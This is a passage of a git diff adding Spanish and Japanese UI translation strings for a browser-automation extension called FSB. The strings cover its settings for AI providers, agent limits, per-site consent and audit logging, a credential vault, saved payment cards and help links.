"Revisar planes y facturación de Claude" + }, + "panel_b9f2d95fd0": { + "message": "Ajusta el comportamiento y el rendimiento de la automatización" + }, + "panel_d987fa1b93": { + "message": "Apariencia del panel de control" + }, + "panel_1b0daa3cbf": { + "message": "El sistema sigue la apariencia del sistema operativo. Predeterminado: según el sistema." + }, + "panel_0c2634ded4": { + "message": "Ejecución y límites" + }, + "panel_a429108292": { + "message": "Límites de automatización" + }, + "panel_a6db09cd31": { + "message": "Controla los límites de ejecución de las tareas" + }, + "panel_7f9bd64777": { + "message": "Iteraciones máximas" + }, + "panel_efb8da8405": { + "message": "Evita bucles de automatización sin control" + }, + "panel_217a08135e": { + "message": "Análisis del DOM" + }, + "panel_f57d34cd62": { + "message": "Optimiza el procesamiento de los elementos de la página" + }, + "panel_f239d1c5e2": { + "message": "Límite de elementos" + }, + "panel_a0981cec31": { + "message": "Equilibrio entre cobertura y velocidad" + }, + "panel_44551744d4": { + "message": "Tamaño de la caché de elementos" + }, + "panel_bc63ff6878": { + "message": "50 (mínimo: páginas simples)" + }, + "panel_6e13b13acc": { + "message": "100 (ligero: páginas normales)" + }, + "panel_f5e5f028c7": { + "message": "200 (estándar: recomendado)" + }, + "panel_51a4656787": { + "message": "500 (intenso: SPA complejas)" + }, + "panel_b497c0b77d": { + "message": "Personalizado..." + }, + "panel_3bba622285": { + "message": "Búsquedas de elementos en caché para consultas repetidas más rápidas. Un valor mayor es más rápido en páginas complejas y usa más memoria." + }, + "panel_964b6d2feb": { + "message": "Concurrencia de agentes" + }, + "panel_93bdf716dc": { + "message": "Máximo de agentes simultáneos" + }, + "panel_05f46c29ed": { + "message": "Tope de concurrencia" + }, + "panel_599bc7e4ae": { + "message": "Restablecer al recomendado (8)" + }, + "panel_26f41aac5c": { + "message": "Debe estar entre 1 y 64" + }, + "panel_dd39c865d3": { + "message": "0 de 8 activos" + }, + "panel_8b2e97f4e5": { + "message": "Concurrencia de disparadores" + }, + "panel_1844d05c26": { + "message": "Máximo de vigilancias de disparador simultáneas" + }, + "panel_5aa4aff46c": { + "message": "Restablecer al predeterminado (8)" + }, + "panel_4f6e909317": { + "message": "Comportamiento de la automatización" + }, + "panel_87fb620509": { + "message": "Informes de cambios de acción" + }, + "panel_8807532414": { + "message": "Diferencia en línea devuelta con cada acción" + }, + "panel_5d2f08be69": { + "message": "Devolver informes de cambios de acción (recomendado)" + }, + "panel_814f4c658e": { + "message": "Repetición de sesiones MCP" + }, + "panel_d93120e9c3": { + "message": "Historial local y fiel de las acciones del agente MCP" + }, + "panel_e3d0d26ac8": { + "message": "Grabar sesiones MCP para repetirlas" + }, + "panel_8c338dcb22": { + "message": "Retención de la repetición MCP (días)" + }, + "panel_a3a33e657a": { + "message": "Optimizaciones de rendimiento" + }, + "panel_318ba4fefb": { + "message": "Activa funciones inteligentes para mejorar la velocidad y la precisión" + }, + "panel_718ec50194": { + "message": "Diferencias incrementales" + }, + "panel_4df3ccd4f7": { + "message": "Envía solo los cambios del DOM después del primer análisis (70-90 % menos de contexto)" + }, + "panel_386c10cfbb": { + "message": "Prioridad de la ventana visible" + }, + "panel_55b7c33a00": { + "message": "Céntrate en los elementos visibles para resultados más rápidos y pertinentes" + }, + "panel_56cb122532": { + "message": "Refinamiento del mapa del sitio con AI" + }, + "panel_bbabb56b4f": { + "message": "Refina automáticamente los mapas del sitio con AI para estrategias de navegación y detección de flujos" + }, + "panel_6a63ec792f": { + "message": "Indicación visual" + }, + "panel_d9db4fd5a6": { + "message": "Controla los indicadores visuales durante la automatización" + }, + "panel_882726c86c": { + "message": "Resaltes animados de las acciones" + }, + "panel_525c3926bb": { + "message": "Muestra un brillo pulsante alrededor de los elementos mientras se realizan acciones" + }, + "panel_b8c545e36f": { + "message": "Progreso de pasos en el panel lateral" + }, + "panel_cd7487b136": { + "message": "Muestra los pasos de la acción en el panel lateral durante la automatización" + }, + "panel_915c0ef81c": { + "message": "Privacidad y desarrollo" + }, + "panel_02d7d5cfae": { + "message": "Entrada de voz" + }, + "panel_936f490e8e": { + "message": "Controla la entrada del micrófono en el panel lateral de FSB" + }, + "panel_92f7b96921": { + "message": "Activar la entrada de voz por micrófono" + }, + "panel_e007c1f5fd": { + "message": "Comprobando el permiso del micrófono…" + }, + "panel_7df7702416": { + "message": "Chrome administra el permiso del micrófono para toda la extensión." + }, + "panel_5e09a0b0eb": { + "message": "Activar el micrófono" + }, + "panel_2c0acdeddf": { + "message": "Abrir la configuración de Chrome" + }, + "panel_d7de9cfa12": { + "message": "Opciones de desarrollo" + }, + "panel_fef2fc10ae": { + "message": "Herramientas para depurar y diagnosticar" + }, + "panel_5f75368293": { + "message": "Modo de depuración" + }, + "panel_64b2d259ae": { + "message": "Activa un registro detallado de la consola para diagnosticar problemas de automatización" + }, + "panel_38d35a351e": { + "message": "Privacidad y telemetría" + }, + "panel_21bf1bebea": { + "message": "Datos de uso anónimos" + }, + "panel_451d787c00": { + "message": "Enviar datos de uso anónimos" + }, + "panel_57f9a109d4": { + "message": "Tokens usados, nombre del cliente MCP y número de agentes activos. Sin URL, prompts ni DOM." + }, + "panel_9ec9376910": { + "message": "Leer la política completa →" + }, + "panel_04dfac3671": { + "message": "Desconectado" + }, + "panel_acf2db1614": { + "message": "Sincronización con el servidor" + }, + "panel_609bbbdf07": { + "message": "Clave hash" + }, + "panel_534803768c": { + "message": "Emparejar el panel" + }, + "panel_9a177de63c": { + "message": "Escanear para emparejar" + }, + "panel_43e3ece73f": { + "message": "restantes" + }, + "panel_5ad3dbd124": { + "message": "Entendido" + }, + "panel_c9b3c38247": { + "message": "En total" + }, + "panel_a69c4dece1": { + "message": "Almacenamiento" + }, + "panel_ae65d09655": { + "message": "Capacidad" + }, + "panel_a039dfb962": { + "message": "Fichas" + }, + "panel_4bc74b2135": { + "message": "Tarea" + }, + "panel_2f36130ebc": { + "message": "Consolidar" + }, + "panel_ddceb7adfd": { + "message": "Borrar todo" + }, + "panel_6cc8519b91": { + "message": "Ir" + }, + "panel_d3f7409ad7": { + "message": "Detener todo" + }, + "panel_f00611c47f": { + "message": "Recomendado automáticamente para tu sistema. Rango de 1 a 64. Un valor menor usa recursos de forma predecible; uno mayor permite más agentes en paralelo. Bajarlo mientras hay agentes activos no los expulsa; las nuevas solicitudes por encima del tope se rechazan." + }, + "panel_bfd6b0808c": { + "message": "Predeterminado 8. Rango de 1 a 64. Un valor menor usa recursos de forma predecible; uno mayor permite más vigilancias en paralelo. Bajarlo con disparadores activos no detiene las vigilancias existentes; los disparadores nuevos por encima del tope se rechazan." + }, + "panel_552aa7152b": { + "message": "Devuelve una diferencia compacta de lo que cambió cada acción, para que la AI no tenga que volver a leer la página. Activado de forma predeterminada." + }, + "panel_bb0522a484": { + "message": "Predeterminado 30. Rango de 1 a 365 días. Solo elimina automáticamente las sesiones de repetición MCP caducadas; el historial del piloto automático no se recorta con este ajuste." + }, + "panel_77f6039567": { + "message": "Muestra el micrófono en el panel lateral y permite el reconocimiento de voz del navegador o OpenAI Whisper. Activado de forma predeterminada." + }, + "panel_509f0b9d50": { + "message": "Desactivar la entrada de voz hace que FSB deje de usar el micrófono, pero no revoca el permiso guardado por Chrome." + }, + "panel_76e917ee87": { + "message": "Empareja esta extensión con el panel de FSB para el control remoto y el almacenamiento de resultados" + }, + "panel_c11de3bb2e": { + "message": "Conéctate al servidor de FSB para guardar resultados y acceder al panel" + }, + "panel_097b5fa7f6": { + "message": "Genera una clave y empareja el panel para vincular este navegador con el servidor de FSB." + }, + "panel_75d0625c55": { + "message": "Los agentes en segundo plano se han ido" + }, + "panel_d17d0cfd98": { + "message": "FSB se centra en una ejecución precisa del navegador en un solo intento. El trabajo programado y recurrente encaja mejor en herramientas hechas para ello:" + }, + "panel_5a694f4532": { + "message": "para un bucle de agente de código abierto, y" + }, + "panel_6e34781c2f": { + "message": "para automatizaciones largas gestionadas. Elige la que encaje con tu forma de trabajar." + }, + "panel_e76c360683": { + "message": "Probar OpenClaw" + }, + "panel_1a58d9154d": { + "message": "Probar Claude Routines" + }, + "panel_582ba53e9e": { + "message": "Retirado en v0.9.45rc1 · abril de 2026" + }, + "panel_daa7068396": { + "message": "Tus agentes anteriores" + }, + "panel_3107f72f47": { + "message": "Nombres de los agentes que vivieron en este perfil, conservados para que nada parezca perdido. Las definiciones siguen en chrome.storage.local['bgAgents'] (sin cambios)." + }, + "panel_9f83a0b7bf": { + "message": "Memoria a largo plazo aprendida de sesiones de automatización anteriores" + }, + "panel_76a6bcf157": { + "message": "Análisis automático" + }, + "panel_50d0c5511b": { + "message": "Episódica" + }, + "panel_9c11c99c77": { + "message": "Semántica" + }, + "panel_2e3e91ffbd": { + "message": "Procedimental" + }, + "panel_ee6cfab445": { + "message": "Costo (30 días)" + }, + "panel_bc01325482": { + "message": "Todos los tipos" + }, + "panel_96452046b5": { + "message": "Aún no hay memorias guardadas. Se extraen automáticamente de las sesiones de automatización completadas." + }, + "panel_ba7fab765c": { + "message": "Reconocimiento" + }, + "panel_cf0e1ec867": { + "message": "Recorre un sitio para mapear su estructura interactiva, la navegación y los selectores" + }, + "panel_ad2f160b7b": { + "message": "Profundidad máxima" + }, + "panel_53e4d8efcc": { + "message": "Páginas máximas" + }, + "panel_8ccc2c0e78": { + "message": "Resultados de la investigación" + }, + "panel_452d842e33": { + "message": "Ve y descarga los datos de reconocimiento, o guárdalos como memorias del mapa del sitio" + }, + "panel_df63a2da5f": { + "message": "Aún no hay resultados. Usa el reconocimiento de arriba para recorrer un sitio." + }, + "panel_30c19209ac": { + "message": "Memoria consolidada" + }, + "panel_ba41142e62": { + "message": "Mapas del sitio" + }, + "panel_bb501d7877": { + "message": "Comunidad" + }, + "panel_d4b1ea5708": { + "message": "Resumen" + }, + "panel_e72d5d8d0b": { + "message": "Ampliado" + }, + "panel_73cde2ba51": { + "message": "Comercio y compras" + }, + "panel_8dfdbc2ef4": { + "message": "Redes sociales" + }, + "panel_6c335e2a76": { + "message": "Finanzas y trading" + }, + "panel_822c302ddc": { + "message": "Viajes y reservas" + }, + "panel_7b1b7b315b": { + "message": "Plataformas de correo" + }, + "panel_cbb811ada2": { + "message": "Plataformas de programación" + }, + "panel_c47f423a0a": { + "message": "Carrera y búsqueda de empleo" + }, + "panel_08cf7301b0": { + "message": "Plataformas de juegos" + }, + "panel_2d995d5860": { + "message": "Herramientas de productividad" + }, + "panel_95bfe584eb": { + "message": "Diseño y pizarra" + }, + "panel_d9dae78103": { + "message": "Juegos" + }, + "panel_d357175cfe": { + "message": "Medios" + }, + "panel_6eb00b4b26": { + "message": "Música" + }, + "panel_69752f2313": { + "message": "Noticias" + }, + "panel_71bf90935f": { + "message": "Referencia" + }, + "panel_9b1f5daf0a": { + "message": "Deportes" + }, + "panel_0a035c2b85": { + "message": "Utilidades" + }, + "panel_4b7ef9d8cd": { + "message": "Supervisa la actividad de la automatización y diagnostica problemas" + }, + "panel_65e5078378": { + "message": "Borrar registros" + }, + "panel_5ddbf16ab1": { + "message": "Exportar registros" + }, + "panel_03f1acb9e6": { + "message": "Todos los registros" + }, + "panel_ee585cc4bd": { + "message": "Solo errores" + }, + "panel_0b3ff2c6ee": { + "message": "Avisos y errores" + }, + "panel_2d9e112fc2": { + "message": "Información y superior" + }, + "panel_122df75095": { + "message": "El panel de control de FSB se cargó correctamente" + }, + "panel_edeead3f19": { + "message": "Historial de sesiones" + }, + "panel_fba294fa8b": { + "message": "Ve y exporta los registros de sesiones de automatización anteriores" + }, + "panel_7a28e26099": { + "message": "Borrar todas las sesiones" + }, + "panel_600cf8138b": { + "message": "Aún no hay sesiones registradas. Ejecuta una tarea de automatización para ver los registros aquí." + }, + "panel_e38737d4e5": { + "message": "Herramientas de depuración de analítica" + }, + "panel_c0b1dd0e52": { + "message": "Prueba y verifica la recogida de datos de analítica" + }, + "panel_bc93dddbb3": { + "message": "Probar el seguimiento de tokens" + }, + "panel_4267998cbe": { + "message": "Ver datos de almacenamiento" + }, + "panel_056a9215e5": { + "message": "Borrar datos de analítica" + }, + "panel_2ed2274015": { + "message": "Exportar datos" + }, + "panel_a239457076": { + "message": "Salida de depuración:" + }, + "panel_38b6a17864": { + "message": "Consentimiento y auditoría" + }, + "panel_94ef5e0fd6": { + "message": "El valor predeterminado de abajo se aplica a cada sitio que no hayas configurado; la lista por origen te permite excluir sitios concretos." + }, + "panel_6e133ee86d": { + "message": "Predeterminado para sitios nuevos" + }, + "panel_9693a6dbf3": { + "message": "Los servicios financieros y gubernamentales siempre están bloqueados, sea cual sea este ajuste. Se entrega en Automático; ponlo en Desactivado para volver al consentimiento explícito." + }, + "panel_01914d2038": { + "message": "Consentimiento por origen" + }, + "panel_96db3ff001": { + "message": "Cada sitio sigue el valor predeterminado de arriba, salvo que lo cambies aquí. Pon un sitio en Desactivado para que FSB deje de actuar en él." + }, + "panel_48cfb671aa": { + "message": "Aún no hay sitios. Cada sitio en el que actúe FSB aparece aquí para que puedas ponerlo en Desactivado. Los sitios nuevos siguen el valor predeterminado de arriba." + }, + "panel_2c64c030d4": { + "message": "Sensible" + }, + "panel_18f2a0947f": { + "message": "Bloqueado" + }, + "panel_5f351832fd": { + "message": "Permitir llamadas que modifican (escritura)" + }, + "panel_45a8c38cdf": { + "message": "Metadatos de compatibilidad para POST/PUT/PATCH/DELETE. En Automático, FSB puede leer y escribir en orígenes no bloqueados." + }, + "panel_87b1794408": { + "message": "Solicitudes pendientes" + }, + "panel_0334c4fb39": { + "message": "0 pendientes" + }, + "panel_10fd874b68": { + "message": "escritura" + }, + "panel_47751f88ed": { + "message": "Registro de auditoría" + }, + "panel_818cb91030": { + "message": "Exportar registro" + }, + "panel_533e26bdcc": { + "message": "Borrar registro" + }, + "panel_33b93476cf": { + "message": "Hora" + }, + "panel_d3e1c5f8a6": { + "message": "Origen" + }, + "panel_5faf58a69d": { + "message": "Capacidad" + }, + "panel_52a0f9b65b": { + "message": "Método" + }, + "panel_bce87826df": { + "message": "Efecto secundario" + }, + "panel_d37e0cd00f": { + "message": "Consentimiento" + }, + "panel_4e80abb5b1": { + "message": "Resultado" + }, + "panel_5934628d0f": { + "message": "Política legal y de servicio" + }, + "panel_fea0aab06e": { + "message": "Leer la postura legal →" + }, + "panel_4fc14539b2": { + "message": "Ver servicios bloqueados →" + }, + "panel_efc0b9cac2": { + "message": "Política de privacidad →" + }, + "panel_bfe73827c5": { + "message": "Activar el inicio de sesión automático" + }, + "panel_bbf6a83734": { + "message": "Caja de credenciales" + }, + "panel_07dd5f0064": { + "message": "Comprobando el estado de la caja..." + }, + "panel_50b231118c": { + "message": "Bloquear la caja" + }, + "panel_ac22d297f8": { + "message": "Elige la longitud del PIN" + }, + "panel_3e785bbc44": { + "message": "4 dígitos" + }, + "panel_7856e511a2": { + "message": "6 dígitos" + }, + "panel_f246c76813": { + "message": "Introduce el PIN" + }, + "panel_4fa10c7baa": { + "message": "Confirma el PIN" + }, + "panel_73134c8143": { + "message": "Configurar la caja" + }, + "panel_872ac152d2": { + "message": "Introduce tu PIN para desbloquear" + }, + "panel_b41986e3f5": { + "message": "Desbloquear la caja" + }, + "panel_c1dc92c680": { + "message": "Añadir nuevo" + }, + "panel_35d74dfd8d": { + "message": "Añadir credencial" + }, + "panel_85a85dc9a2": { + "message": "Sitio web / dominio" + }, + "panel_657144f3f7": { + "message": "Usuario / correo" + }, + "panel_e7cf3ef4f1": { + "message": "Contraseña" + }, + "panel_6239b93e96": { + "message": "Notas (opcional)" + }, + "panel_9caa27b9d0": { + "message": "Permitir esta credencial en subdominios" + }, + "panel_8816182605": { + "message": "Ejemplo: una credencial guardada para" + }, + "panel_eb1c90412b": { + "message": "también se puede usar en" + }, + "panel_195ab9772f": { + "message": "Activar métodos de pago guardados" + }, + "panel_b45d64e4a3": { + "message": "Métodos de pago guardados" + }, + "panel_a92743920d": { + "message": "Comprobando el estado de los métodos de pago..." + }, + "panel_bbc3d7eb41": { + "message": "Bloquear métodos de pago" + }, + "panel_24e06db48e": { + "message": "Abrir contraseñas" + }, + "panel_186f818f5f": { + "message": "Desbloquear métodos de pago guardados" + }, + "panel_82f87079c6": { + "message": "Añadir tarjeta" + }, + "panel_b610b1ecca": { + "message": "Añadir método de pago" + }, + "panel_7cbcb92acd": { + "message": "Apodo (opcional)" + }, + "panel_85dfa9ba97": { + "message": "Se muestra en el selector de tarjetas y en la lista de tarjetas guardadas." + }, + "panel_d6bc26851d": { + "message": "Nombre del titular" + }, + "panel_4566e068a2": { + "message": "Número de tarjeta" + }, + "panel_b764cdc0ea": { + "message": "Desconocido" + }, + "panel_25ec19a82f": { + "message": "La marca de la tarjeta se detecta automáticamente mientras escribes." + }, + "panel_43533009b2": { + "message": "Mes de caducidad" + }, + "panel_310ca503ef": { + "message": "Mes" + }, + "panel_ca7aaef8c5": { + "message": "Año de caducidad" + }, + "panel_8a944d3d0e": { + "message": "Nombre de facturación" + }, + "panel_1b77352e0b": { + "message": "Dirección de facturación, línea 1" + }, + "panel_ff2bc02380": { + "message": "Dirección de facturación, línea 2 (opcional)" + }, + "panel_fc33f73246": { + "message": "Ciudad" + }, + "panel_9630a4b030": { + "message": "Estado / región" + }, + "panel_8198b202a8": { + "message": "Código postal" + }, + "panel_701d021d08": { + "message": "País" + }, + "panel_d00eca1bae": { + "message": "Primeros pasos" + }, + "panel_c772928cb0": { + "message": "Aprende lo básico de la automatización del navegador con FSB" + }, + "panel_584aa47f13": { + "message": "Visitar el sitio web" + }, + "panel_b50c780ec8": { + "message": "Configuración guiada" + }, + "panel_01c470e51f": { + "message": "Reiniciar la configuración" + }, + "panel_c205924de0": { + "message": "Documentación" + }, + "panel_ed16cec106": { + "message": "Ver el repositorio" + }, + "panel_4c4a152a2b": { + "message": "Soporte y preguntas frecuentes" + }, + "panel_7302582a6f": { + "message": "Abrir soporte" + }, + "panel_d4a48a753a": { + "message": "Configuración de MCP" + }, + "panel_2df575344e": { + "message": "Ver la guía de MCP" + }, + "panel_506ff39462": { + "message": "Política de privacidad" + }, + "panel_377733b622": { + "message": "Ver la política de privacidad" + }, + "panel_666067dd37": { + "message": "Incidencias" + }, + "panel_cf82dd02e8": { + "message": "Ver incidencias" + }, + "panel_bc47da663d": { + "message": "Código fuente" + }, + "panel_6209d4d395": { + "message": "Ver GitHub" + }, + "panel_bd4702c187": { + "message": "Notas de la versión" + }, + "panel_1705ccc5a5": { + "message": "Ver versiones" + }, + "panel_c011d6097b": { + "message": "Licencia" + }, + "panel_b392d33f2e": { + "message": "Ver la licencia" + }, + "panel_a4b17bc7db": { + "message": "Tienes cambios sin guardar" + }, + "panel_8e0f9288e2": { + "message": "Cómo trata FSB un sitio que no has configurado. Automático permite a FSB llamar a la API autenticada de cualquier sitio no bloqueado (lecturas y escrituras). Desactivado exige que actives cada sitio primero. Preguntar pone la solicitud en cola para tu aprobación." + }, + "panel_811f8544eb": { + "message": "Solicitudes que esperan tu decisión. Conceder una permite que quien llama lo reintente; FSB nunca actúa sin tu aprobación." + }, + "panel_b04eb08367": { + "message": "No hay solicitudes pendientes. Cuando una herramienta necesite consentimiento, aparecerá aquí. También puedes conceder acceso por adelantado desde la lista de arriba." + }, + "panel_1fdd802663": { + "message": "Un registro redactado y solo de anexión de las llamadas de capacidad. Nunca se guardan argumentos, tokens, cookies ni cuerpos de respuesta." + }, + "panel_787513f4fd": { + "message": "Aún no hay entradas de auditoría. Las llamadas de capacidad se registran aquí cuando permites un origen. Las entradas están redactadas y solo se guardan localmente." + }, + "panel_323d6ff1f1": { + "message": "La postura de automatización de FSB, la retención de la auditoría y el modelo de consentimiento están documentados en LEGAL.md. Algunos orígenes están bloqueados por la lista de denegación del servicio." + }, + "panel_e31b2a3d3f": { + "message": "Administra las credenciales guardadas y la caja compartida para el inicio de sesión asistido" + }, + "panel_93f508370d": { + "message": "Si está activado, FSB detectará páginas de inicio de sesión y ofrecerá entrar automáticamente con las credenciales guardadas" + }, + "panel_10f7c25d31": { + "message": "Elige un PIN para proteger las credenciales guardadas. Las credenciales antiguas se migrarán automáticamente." + }, + "panel_50c3db852a": { + "message": "Desbloquea para ver, editar, rellenar o guardar contraseñas." + }, + "panel_b6680d54b2": { + "message": "Caja desbloqueada para esta sesión del navegador. Las credenciales guardadas están disponibles abajo." + }, + "panel_8d5ab0fe44": { + "message": "El inicio de sesión automático está desactivado. Aún puedes administrar las credenciales guardadas aquí, pero FSB no las usará ni las guardará automáticamente hasta que lo actives." + }, + "panel_c533cc0b87": { + "message": "Aún no hay credenciales guardadas. Se guardarán automáticamente cuando inicies sesión durante la automatización, o puedes añadirlas a mano." + }, + "panel_0153e2da59": { + "message": "Escribe el dominio del sitio (p. ej., github.com, mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "Administra las tarjetas guardadas para el pago asistido. Los métodos de pago comparten la caja de credenciales configurada en Contraseñas." + }, + "panel_ff7378d58d": { + "message": "Si está activado, FSB puede pedir rellenar una tarjeta guardada en las páginas de pago. Nunca envía el pago final automáticamente." + }, + "panel_7d1624ea92": { + "message": "Desbloquea la caja de credenciales antes de administrar los métodos de pago guardados." + }, + "panel_ad5f8e8263": { + "message": "Introduce el PIN de la caja para desbloquear los métodos de pago" + }, + "panel_2035e1f48d": { + "message": "Las tarjetas guardadas usan la misma caja cifrada, pero requieren un desbloqueo aparte antes de rellenar el pago en esta sesión del navegador." + }, + "panel_0ec4dc2534": { + "message": "Los métodos de pago guardados están desbloqueados para esta sesión del navegador. FSB puede pedir rellenar una tarjeta guardada en las páginas de pago detectadas, pero nunca enviará el pago final automáticamente." + }, + "panel_5d38d8a7cf": { + "message": "Los métodos de pago guardados están desactivados. Aún puedes administrar las tarjetas aquí, pero FSB no las ofrecerá en el pago hasta que actives la función." + }, + "panel_2fd67f06e0": { + "message": "Aún no hay métodos de pago guardados. Añade una tarjeta aquí para que FSB pueda ofrecerla en las páginas de pago después de desbloquear el acceso." + }, + "panel_928895f662": { + "message": "El CVV y los datos del perfil de facturación se guardan cifrados en tu caja local. Revisa la seguridad del dispositivo local antes de usar esta función." + }, + "panel_39d561254a": { + "message": "Guardar tarjeta" + }, + "panel_e4d896bcce": { + "message": "Obtén ayuda y conoce más las funciones de FSB" + }, + "panel_32623395c6": { + "message": "Vuelve a ejecutar la guía de incorporación para cambiar el proveedor o la configuración de MCP" + }, + "panel_db4cec18bf": { + "message": "Documentación completa y guías de configuración de FSB" + }, + "panel_63dfe63d28": { + "message": "Consulta las preguntas frecuentes y corrige problemas habituales de conexión" + }, + "panel_d2286811e6": { + "message": "Conecta clientes MCP como Claude Code y Cursor, y verifica con el comando doctor" + }, + "panel_f3cb441c27": { + "message": "Lee cómo FSB trata los datos, el almacenamiento y la sincronización opcional con el servidor" + }, + "panel_476481e410": { + "message": "Informa de errores, pide funciones y sigue el progreso del desarrollo" + }, + "panel_89b47ad370": { + "message": "Ve el código fuente y contribuye al desarrollo de FSB" + }, + "panel_f775bb5cbf": { + "message": "Mira lo nuevo y lo que cambió en cada versión de FSB" + }, + "panel_8abc0aef4e": { + "message": "FSB es de código abierto bajo la licencia MIT" + }, + "panel_e235f8135c": { + "message": "Únete a otros usuarios de FSB y sigue las actualizaciones" + }, + "panel_53e5555e9a": { + "message": "Guarda los datos de repetición localmente y redacta los campos con secretos y las entradas sensibles. El texto escrito ordinario y los resultados de las acciones siguen disponibles para la repetición. Los clientes MCP pueden guardar una memoria local de la tarea con un resumen de finalización, parcial o de fallo sin secretos; no se hace una llamada aparte al proveedor de AI. Desactivarlo detiene las grabaciones MCP futuras y guarda cualquier grabación abierta. El historial de repetición MCP existente guarda hasta las 50 sesiones más recientes, y ninguna sesión se conserva más allá del periodo de retención configurado. El historial del piloto automático no se ve afectado." + }, + "panel_65b7096b6d": { + "message": "Automatización prohibida para este origen. " + }, + "panel_d50f8b527c": { + "message": "Origen sensible. Las invocaciones de capacidad pueden ejecutarse en Automático; el descubrimiento por captura de red sigue exigiendo confirmación." + }, + "panel_47d2a515ef": { + "message": "Cargando..." + }, + "panel_90e89ecfe7": { + "message": "Cargar los siguientes 500 eventos" + }, + "panel_935f2565d7": { + "message": "Reintentar la carga de eventos" + }, + "panel_4eee87e82f": { + "message": "No se puede alcanzar el servicio de la caja" + }, + "panel_08bf951eda": { + "message": "No hay una caja configurada. Crea una para proteger las credenciales guardadas." + }, + "panel_949bcb5f38": { + "message": "La caja está bloqueada." + }, + "panel_30cef3bfb8": { + "message": "Caja desbloqueada para esta sesión." + }, + "panel_05dc3c4c0a": { + "message": "Error al comprobar el estado de la caja." + }, + "panel_890a216b7c": { + "message": "Desbloqueando..." + }, + "panel_def70944c9": { + "message": "Creando..." + }, + "panel_93ad91e855": { + "message": "Desbloquea primero la caja de credenciales." + }, + "panel_8221f05f8b": { + "message": "Los métodos de pago están bloqueados." + }, + "panel_0b4ba676b0": { + "message": "Métodos de pago desbloqueados para esta sesión." + }, + "panel_b82d31b688": { + "message": "Error al comprobar el estado del pago." + }, + "panel_b197ab1d9b": { + "message": "Configura primero un PIN de la caja en Contraseñas." + }, + "panel_160419ae70": { + "message": "Los métodos de pago están desbloqueados." + }, + "panel_507fc32dc5": { + "message": "Editar agente" + }, + "panel_fb25598ed0": { + "message": "Crear agente nuevo" + }, + "panel_6c02a28421": { + "message": "Probando..." + }, + "panel_22965568d2": { + "message": "Conectado" + }, + "panel_ee172faa9c": { + "message": "Clave no válida" + }, + "panel_031a8f0f65": { + "message": "Falló" + }, + "panel_424a2551d3": { + "message": "Caducado" + }, + "panel_c7730178f4": { + "message": "Generar un código nuevo" + }, + "panel_ac116124f7": { + "message": "No se pudo generar el código de emparejamiento. Inténtalo de nuevo." + }, + "panel_d03fd96d28": { + "message": "Elige un modelo cargado..." + }, + "panel_e189657f5a": { + "message": "Ningún modelo coincide" } } diff --git a/extension/_locales/ja/messages.json b/extension/_locales/ja/messages.json index dac8fc720..dfac5cae9 100644 --- a/extension/_locales/ja/messages.json +++ b/extension/_locales/ja/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "エラー" + }, + "panel_67b6964686": { + "message": "ダッシュボード" + }, + "panel_8ad747d05c": { + "message": "API 設定" + }, + "panel_8d261a372f": { + "message": "同期" + }, + "panel_703390318b": { + "message": "ベータ" + }, + "panel_be146b37a0": { + "message": "パスワード" + }, + "panel_632e1c5839": { + "message": "支払い" + }, + "panel_22d4f6088b": { + "message": "詳細設定" + }, + "panel_c3963aedaa": { + "message": "メモリ" + }, + "panel_480d3c119a": { + "message": "ログとデバッグ" + }, + "panel_2ccff1d108": { + "message": "ヘルプとドキュメント" + }, + "panel_db17c74beb": { + "message": "AI の使用量、費用、自動化の性能を確認します" + }, + "panel_cd41bf0d3e": { + "message": "トークン合計" + }, + "panel_dfa5cc738d": { + "message": "合計費用" + }, + "panel_ada27592c9": { + "message": "リクエスト" + }, + "panel_5068c6c343": { + "message": "成功率" + }, + "panel_d909750b1b": { + "message": "自動化" + }, + "panel_cddf50281d": { + "message": "時間ごとのトークン使用量" + }, + "panel_615c5daff4": { + "message": "過去 24 時間" + }, + "panel_b84372e5cb": { + "message": "過去 7 日間" + }, + "panel_e9ddf63b38": { + "message": "過去 30 日間" + }, + "panel_5e4bc34faf": { + "message": "AI モデルのプロバイダーと API 設定を構成します" + }, + "panel_9b3cf4a154": { + "message": "AI モデルの設定" + }, + "panel_84e1ec2c5b": { + "message": "AI プロバイダー" + }, + "panel_994f468aae": { + "message": "別のプロバイダーを選ぶ" + }, + "panel_e65d5614f4": { + "message": "カスタム(OpenAI 互換)" + }, + "panel_e69daa3849": { + "message": "API プロバイダーはローカルの鍵を使います。エージェント CLI は既存のローカルサインインを使います。" + }, + "panel_daa5fed227": { + "message": "別の AI プロバイダーを選ぶ" + }, + "panel_822a9fabc1": { + "message": "このプロバイダーはオートパイロットでは使えません。新しいタスクの前に、別のプロバイダーを選んで保存してください。" + }, + "panel_5e2c614c23": { + "message": "モデル" + }, + "panel_dfa17046ae": { + "message": "モデル一覧には API キーが必要です" + }, + "panel_00889a77ec": { + "message": "使用する AI モデルを選択" + }, + "panel_bc3286fa36": { + "message": "xAI API キー" + }, + "panel_a3fb46f4c6": { + "message": "API キーの取得先" + }, + "panel_8e9faa30de": { + "message": "。鍵はこのブラウザにローカル保存されます。" + }, + "panel_53bca734db": { + "message": "Gemini API キー" + }, + "panel_8418bdbdcd": { + "message": "OpenAI API キー" + }, + "panel_e07165f5ce": { + "message": "OpenAI プラットフォーム" + }, + "panel_959bc25166": { + "message": "Anthropic API キー" + }, + "panel_c481af39b2": { + "message": "Anthropic コンソール" + }, + "panel_36e0497429": { + "message": "OpenRouter API キー" + }, + "panel_84de34181d": { + "message": "。1 つの鍵で 200 以上のモデルを使えます。" + }, + "panel_018833a024": { + "message": "LM Studio サーバー URL" + }, + "panel_3efaf1b1c1": { + "message": "LM Studio のローカル OpenAI 互換サーバーを使います。API キーは不要です。モデルは次からその場で見つかります" + }, + "panel_83419f15b8": { + "message": "カスタム API エンドポイント" + }, + "panel_cfb67fffe3": { + "message": "OpenAI 互換 API エンドポイントの完全な URL を入力" + }, + "panel_acb781f972": { + "message": "カスタム API キー" + }, + "panel_5e2e7207a6": { + "message": "鍵はこのブラウザにローカル保存されます。" + }, + "panel_abfe6d40e5": { + "message": "音声テキスト変換" + }, + "panel_5303c4374c": { + "message": "OpenAI Whisper を使う" + }, + "panel_14e36783b5": { + "message": "OpenAI API キーが必要です。無効にすると、ブラウザ内蔵の音声認識を使います。" + }, + "panel_e1461bf33a": { + "message": "CAPTCHA ソルバー" + }, + "panel_2909841c62": { + "message": "CAPTCHA 解決を有効にする" + }, + "panel_1955b2ec44": { + "message": "2Captcha で reCAPTCHA v2、hCaptcha、Cloudflare Turnstile を解決します" + }, + 